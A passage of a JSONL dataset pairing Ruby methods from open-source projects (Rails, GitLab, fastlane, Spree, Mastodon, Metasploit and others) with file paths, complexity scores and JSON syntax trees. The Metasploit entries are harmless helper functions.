terminates\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"asoto-r7\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"ruby\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_RUBY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"ReverseTcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"Pingback\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"ruby\"]}]}]}]}]}]}","id":"5fe2a5d6-23a9-4773-a181-dc42cd38dc7f"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/commands/server/server_command.rb","start_line":75,"raw_source":"def log_to_stdout\n        wrapped_app # touch the app so the logger is set up\n\n        console = ActiveSupport::Logger.new(STDOUT)\n        console.formatter = Rails.logger.formatter\n        console.level = Rails.logger.level\n\n        unless ActiveSupport::Logger.logger_outputs_to?(Rails.logger, STDERR, STDOUT)\n          Rails.logger.broadcast_to(console)\n        end\n      end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"log_to_stdout\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wrapped_app\"]},{\"type\":\"lvasgn\",\"children\":[\"console\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Logger\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"STDOUT\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"console\"]},\"formatter=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"formatter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"console\"]},\"level=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"level\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Logger\"]},\"logger_outputs_to?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},{\"type\":\"const\",\"children\":[null,\"STDERR\"]},{\"type\":\"const\",\"children\":[null,\"STDOUT\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"broadcast_to\",{\"type\":\"lvar\",\"children\":[\"console\"]}]}]}]}]}","id":"57562154-ec26-4fea-b8c5-e8ae2b002899"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/relation_scoping_test.rb","start_line":194,"raw_source":"def test_scoped_find_include\n    # with the include, will retrieve only developers for the given project\n    scoped_developers = Developer.includes(:projects).scoping do\n      Developer.where(\"projects.id\" => 2).to_a\n    end\n    assert_includes scoped_developers, developers(:david)\n    assert_not_includes scoped_developers, developers(:jamis)\n    assert_equal 1, scoped_developers.size\n  end","complexity_score":13.88,"ast_json":"{\"type\":\"def\",\"children\":[\"test_scoped_find_include\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scoped_developers\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"projects\"]}]},\"scoping\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"projects.id\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},\"to_a\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"lvar\",\"children\":[\"scoped_developers\"]},{\"type\":\"send\",\"children\":[null,\"developers\",{\"type\":\"sym\",\"children\":[\"david\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_includes\",{\"type\":\"lvar\",\"children\":[\"scoped_developers\"]},{\"type\":\"send\",\"children\":[null,\"developers\",{\"type\":\"sym\",\"children\":[\"jamis\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scoped_developers\"]},\"size\"]}]}]}]}","id":"d06c9927-3b2c-4c28-a88f-5170e1a724ba"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/linux/gather/mimipenguin.rb","start_line":257,"raw_source":"def get_python_version\n    @python_vers ||= command_exists?('python3') ? 'python3' : ''\n\n    if @python_vers.empty?\n      @python_vers ||= command_exists?('python') ? 'python' : ''\n    end\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"get_python_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@python_vers\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"command_exists?\",{\"type\":\"str\",\"children\":[\"python3\"]}]},{\"type\":\"str\",\"children\":[\"python3\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@python_vers\"]},\"empty?\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@python_vers\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"command_exists?\",{\"type\":\"str\",\"children\":[\"python\"]}]},{\"type\":\"str\",\"children\":[\"python\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},null]}]}]}","id":"12385541-13d8-427d-bfa8-88c647fe105e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/portscan/xmas.rb","start_line":40,"raw_source":"def run_batch_size\n    datastore['BATCHSIZE'] || 256\n  end","complexity_score":3.68,"ast_json":"{\"type\":\"def\",\"children\":[\"run_batch_size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BATCHSIZE\"]}]},{\"type\":\"int\",\"children\":[256]}]}]}","id":"7fafd7fd-7898-463d-a7e6-7a1db33262cc"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_with_zone_test.rb","start_line":521,"raw_source":"def test_to_i_with_wrapped_datetime\n    datetime = DateTime.civil(2000, 1, 1, 0)\n    twz = ActiveSupport::TimeWithZone.new(datetime, @time_zone)\n    assert_equal 946684800, twz.to_i\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_to_i_with_wrapped_datetime\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"datetime\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"civil\",{\"type\":\"int\",\"children\":[2000]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"twz\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeWithZone\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"datetime\"]},{\"type\":\"ivar\",\"children\":[\"@time_zone\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[946684800]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"to_i\"]}]}]}]}","id":"a9f0e7f6-f1c9-4d99-a5f1-3c48ad4abd2e"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/safe_mode_controller.rb","start_line":41,"raw_source":"def force_safe_mode_for_route\n    request.env[ApplicationController::NO_THEMES] = true\n    request.env[ApplicationController::NO_PLUGINS] = true\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"force_safe_mode_for_route\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"env\"]},\"[]=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationController\"]},\"NO_THEMES\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"env\"]},\"[]=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationController\"]},\"NO_PLUGINS\"]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"5aaf1643-4b61-42f5-ab23-d8d34ec26833"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/metrics/sli_spec.rb","start_line":179,"raw_source":"def fake_numerator_counter(name, numerator_name, separator = '_')\n    fake_prometheus_counter([\"gitlab_sli\", name, \"#{numerator_name}_total\"].join(separator))\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fake_numerator_counter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"numerator_name\"]},{\"type\":\"optarg\",\"children\":[\"separator\",{\"type\":\"str\",\"children\":[\"_\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fake_prometheus_counter\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"gitlab_sli\"]},{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"numerator_name\"]}]},{\"type\":\"str\",\"children\":[\"_total\"]}]}]},\"join\",{\"type\":\"lvar\",\"children\":[\"separator\"]}]}]}]}","id":"63c92c09-9b62-4d0a-b331-c58d1888c309"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/models/app.rb","start_line":369,"raw_source":"def get_build_deliveries(client: nil, filter: {}, includes: nil, limit: nil, sort: nil)\n        client ||= Spaceship::ConnectAPI\n        filter ||= {}\n\n        resps = client.get_build_deliveries(app_id: id, filter: filter, includes: includes, limit: limit, sort: sort).all_pages\n        return resps.flat_map(&:to_models)\n      end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"get_build_deliveries\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"client\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"filter\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"includes\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"limit\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"sort\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filter\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"resps\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"get_build_deliveries\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"lvar\",\"children\":[\"filter\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"lvar\",\"children\":[\"includes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"lvar\",\"children\":[\"limit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"lvar\",\"children\":[\"sort\"]}]}]}]},\"all_pages\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resps\"]},\"flat_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_models\"]}]}]}]}]}]}","id":"be023b17-a279-4821-b6c8-ff661c17cebe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/previews/notify_preview.rb","start_line":636,"raw_source":"def find_or_create_gpg_key\n    GpgKey.last || GpgKeys::CreateService.new(user, key: GpgHelpers::User1.public_key).execute\n  end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"find_or_create_gpg_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GpgKey\"]},\"last\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GpgKeys\"]},\"CreateService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GpgHelpers\"]},\"User1\"]},\"public_key\"]}]}]}]},\"execute\"]}]}]}","id":"e860ece7-0ce3-4e8e-8ffa-0961235bc5f6"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/store_credit.rb","start_line":63,"raw_source":"def authorize(amount, order_currency, options = {})\n      authorization_code = options[:action_authorization_code]\n      if authorization_code\n        if store_credit_events.find_by(action: AUTHORIZE_ACTION, authorization_code: authorization_code)\n          # Don't authorize again on capture\n          return true\n        end\n      else\n        authorization_code = generate_authorization_code\n      end\n      if validate_authorization(amount, order_currency)\n        update!(\n          action: AUTHORIZE_ACTION,\n          action_amount: amount,\n          action_originator: options[:action_originator],\n          action_authorization_code: authorization_code,\n          amount_authorized: amount_authorized + amount\n        )\n        authorization_code\n      else\n        errors.add(:base, Spree.t('store_credit_payment_method.insufficient_authorized_amount'))\n        false\n      end\n    end","complexity_score":21.3,"ast_json":"{\"type\":\"def\",\"children\":[\"authorize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"amount\"]},{\"type\":\"arg\",\"children\":[\"order_currency\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"authorization_code\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action_authorization_code\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authorization_code\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store_credit_events\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"const\",\"children\":[null,\"AUTHORIZE_ACTION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authorization_code\"]},{\"type\":\"lvar\",\"children\":[\"authorization_code\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"authorization_code\",{\"type\":\"send\",\"children\":[null,\"generate_authorization_code\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_authorization\",{\"type\":\"lvar\",\"children\":[\"amount\"]},{\"type\":\"lvar\",\"children\":[\"order_currency\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"const\",\"children\":[null,\"AUTHORIZE_ACTION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action_amount\"]},{\"type\":\"lvar\",\"children\":[\"amount\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action_originator\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action_originator\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action_authorization_code\"]},{\"type\":\"lvar\",\"children\":[\"authorization_code\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"amount_authorized\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"amount_authorized\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"amount\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"authorization_code\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"str\",\"children\":[\"store_credit_payment_method.insufficient_authorized_amount\"]}]}]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"67f6dc0e-4a4e-400d-ac20-d5f5d0ec8215"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ems_refresh/save_inventory_cloud.rb","start_line":149,"raw_source":"def save_cloud_object_store_containers_inventory(ems, hashes, target = nil)\n    target = ems if target.nil?\n\n    ems.cloud_object_store_containers.reset\n    deletes = determine_deletes_using_association(ems, target)\n\n    hashes.each do |h|\n      h[:ems_id]          = ems.id\n      h[:cloud_tenant_id] = h.fetch_path(:tenant, :id)\n    end\n\n    save_inventory_multi(ems.cloud_object_store_containers, hashes, deletes, [:ems_ref], nil, :tenant)\n    store_ids_for_new_records(ems.cloud_object_store_containers, hashes, :ems_ref)\n  end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"save_cloud_object_store_containers_inventory\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ems\"]},{\"type\":\"arg\",\"children\":[\"hashes\"]},{\"type\":\"optarg\",\"children\":[\"target\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"nil?\"]},{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"lvar\",\"children\":[\"ems\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"cloud_object_store_containers\"]},\"reset\"]},{\"type\":\"lvasgn\",\"children\":[\"deletes\",{\"type\":\"send\",\"children\":[null,\"determine_deletes_using_association\",{\"type\":\"lvar\",\"children\":[\"ems\"]},{\"type\":\"lvar\",\"children\":[\"target\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hashes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"ems_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"cloud_tenant_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"fetch_path\",{\"type\":\"sym\",\"children\":[\"tenant\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"save_inventory_multi\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"cloud_object_store_containers\"]},{\"type\":\"lvar\",\"children\":[\"hashes\"]},{\"type\":\"lvar\",\"children\":[\"deletes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ems_ref\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"tenant\"]}]},{\"type\":\"send\",\"children\":[null,\"store_ids_for_new_records\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"cloud_object_store_containers\"]},{\"type\":\"lvar\",\"children\":[\"hashes\"]},{\"type\":\"sym\",\"children\":[\"ems_ref\"]}]}]}]}","id":"6e17956a-9bbf-4adf-890d-9c7c633e741b"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/form/account_batch.rb","start_line":109,"raw_source":"def reject_account(account)\n    authorize(account.user, :reject?)\n    log_action(:reject, account.user)\n    account.suspend!(origin: :local)\n    AccountDeletionWorker.perform_async(account.id, { 'reserve_username' => false })\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"reject_account\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"user\"]},{\"type\":\"sym\",\"children\":[\"reject?\"]}]},{\"type\":\"send\",\"children\":[null,\"log_action\",{\"type\":\"sym\",\"children\":[\"reject\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"suspend!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin\"]},{\"type\":\"sym\",\"children\":[\"local\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AccountDeletionWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"reserve_username\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"02e7425f-353a-48d4-a5e9-fdeb02f028c5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/markdown/attachment.rb","start_line":130,"raw_source":"def inspect\n          \"<#{self.class.name}: { name: #{name}, url: #{url}, web_endpoint: #{web_endpoint} }>\"\n        end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"inspect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\": { name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\", url: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url\"]}]},{\"type\":\"str\",\"children\":[\", web_endpoint: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"web_endpoint\"]}]},{\"type\":\"str\",\"children\":[\" }>\"]}]}]}","id":"a15619f0-d2ba-4e37-a440-075fa4e7a596"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/handler/bind_named_pipe.rb","start_line":377,"raw_source":"def cleanup_handler\n        self.conn_threads.each { |t|\n          t.kill\n        }\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup_handler\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"conn_threads\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"kill\"]}]}]}","id":"8b2b713c-cb32-4008-8daf-ec9eca2e344d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/user_merge_requests_resolver_base.rb","start_line":82,"raw_source":"def prepare_args(args)\n      args.delete(:project_id)\n      args.delete(:project_path)\n      args[:non_archived] = args.delete(:include_archived) != true\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_args\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"project_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"non_archived\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"include_archived\"]}]},\"!=\",{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"6f0f8575-80fe-4f90-b299-f4663e673d44"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/git_add.rb","start_line":47,"raw_source":"def self.available_options\n        [\n          FastlaneCore::ConfigItem.new(key: :path,\n                                       description: \"The file(s) and path(s) you want to add\",\n                                       type: Array,\n                                       conflicting_options: [:pathspec],\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :shell_escape,\n                                       description: \"Shell escapes paths (set to false if using wildcards or manually escaping spaces in :path)\",\n                                       type: Boolean,\n                                       default_value: true,\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :force,\n                                       description: \"Allow adding otherwise ignored files\",\n                                       type: Boolean,\n                                       default_value: false,\n                                       optional: true),\n          # Deprecated\n          FastlaneCore::ConfigItem.new(key: :pathspec,\n                                       description: \"The pathspec you want to add files from\",\n                                       conflicting_options: [:path],\n                                       optional: true,\n                                       deprecated: \"Use `--path` instead\")\n        ]\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"available_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"The file(s) and path(s) you want to 